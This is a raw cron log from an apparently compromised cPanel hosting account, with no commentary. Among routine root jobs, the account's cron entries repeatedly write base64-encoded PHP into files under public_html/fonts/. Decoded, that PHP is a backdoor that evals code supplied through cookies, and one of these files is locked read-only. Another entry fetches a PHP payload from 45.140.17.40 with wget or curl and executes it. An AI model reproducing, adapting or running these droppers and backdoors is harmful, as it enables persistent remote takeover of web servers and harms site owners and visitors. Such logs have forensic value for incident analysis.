Sep 21 21:24:01 ip-184-168-122-23 CROND[19380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:24:01 ip-184-168-122-23 CROND[19381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:25:01 ip-184-168-122-23 CROND[19508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:25:01 ip-184-168-122-23 CROND[19510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:25:01 ip-184-168-122-23 CROND[19514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:25:01 ip-184-168-122-23 CROND[19513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:25:01 ip-184-168-122-23 CROND[19516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:25:01 ip-184-168-122-23 CROND[19515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:26:01 ip-184-168-122-23 CROND[19716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:26:02 ip-184-168-122-23 CROND[19721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:26:02 ip-184-168-122-23 CROND[19718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:26:02 ip-184-168-122-23 CROND[19719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:26:02 ip-184-168-122-23 CROND[19720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:27:01 ip-184-168-122-23 CROND[19825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:27:01 ip-184-168-122-23 CROND[19827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:27:01 ip-184-168-122-23 CROND[19828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:27:01 ip-184-168-122-23 CROND[19829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:28:01 ip-184-168-122-23 CROND[19963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:28:01 ip-184-168-122-23 CROND[19967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:28:01 ip-184-168-122-23 CROND[19965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:28:01 ip-184-168-122-23 CROND[19966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:28:01 ip-184-168-122-23 CROND[19968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:29:01 ip-184-168-122-23 CROND[20085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:29:01 ip-184-168-122-23 CROND[20087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:29:01 ip-184-168-122-23 CROND[20089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:29:01 ip-184-168-122-23 CROND[20090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:30:01 ip-184-168-122-23 CROND[20245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:30:01 ip-184-168-122-23 CROND[20246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20251]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:30:01 ip-184-168-122-23 CROND[20252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:31:01 ip-184-168-122-23 CROND[20446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:31:01 ip-184-168-122-23 CROND[20448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:31:01 ip-184-168-122-23 CROND[20450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:31:01 ip-184-168-122-23 CROND[20453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 21:31:01 ip-184-168-122-23 CROND[20454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:32:01 ip-184-168-122-23 CROND[20597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:32:01 ip-184-168-122-23 CROND[20599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:32:01 ip-184-168-122-23 CROND[20601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:32:01 ip-184-168-122-23 CROND[20602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:32:01 ip-184-168-122-23 CROND[20600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:33:01 ip-184-168-122-23 CROND[20732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:33:01 ip-184-168-122-23 CROND[20733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:33:01 ip-184-168-122-23 CROND[20731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:33:01 ip-184-168-122-23 CROND[20734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:34:01 ip-184-168-122-23 CROND[20836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:34:01 ip-184-168-122-23 CROND[20838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:34:01 ip-184-168-122-23 CROND[20839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:34:01 ip-184-168-122-23 CROND[20840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:34:01 ip-184-168-122-23 CROND[20841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:35:01 ip-184-168-122-23 CROND[20975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20972]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 21:35:01 ip-184-168-122-23 CROND[20974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:36:02 ip-184-168-122-23 CROND[21186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:36:02 ip-184-168-122-23 CROND[21188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:36:02 ip-184-168-122-23 CROND[21191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:36:02 ip-184-168-122-23 CROND[21189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
